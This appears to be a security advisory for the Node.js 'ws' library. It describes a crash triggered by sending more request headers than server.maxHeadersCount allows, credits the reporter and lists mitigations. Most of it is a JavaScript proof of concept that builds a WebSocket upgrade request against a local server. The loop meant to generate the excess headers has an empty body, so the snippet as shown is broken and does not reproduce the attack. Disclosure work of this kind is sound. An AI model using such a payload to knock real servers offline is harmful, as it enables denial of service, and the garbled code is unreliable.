  A request with a number of headers exceeding theserver.maxHeadersCount
  threshold could be used to crash a ws server.

  const http = require('http');
  const WebSocket = require('ws');

  const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
  if (count === 2000) break;

  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
  headers: headers,
  host: '127.0.0.1',
  port: wss.address().port
  });

  request.end();
  });

  The vulnerability was reported by Ryan LaPointe in #2230.

  In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
     --max-http-header-size=size and/or the maxHeaderSize options so
     that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.
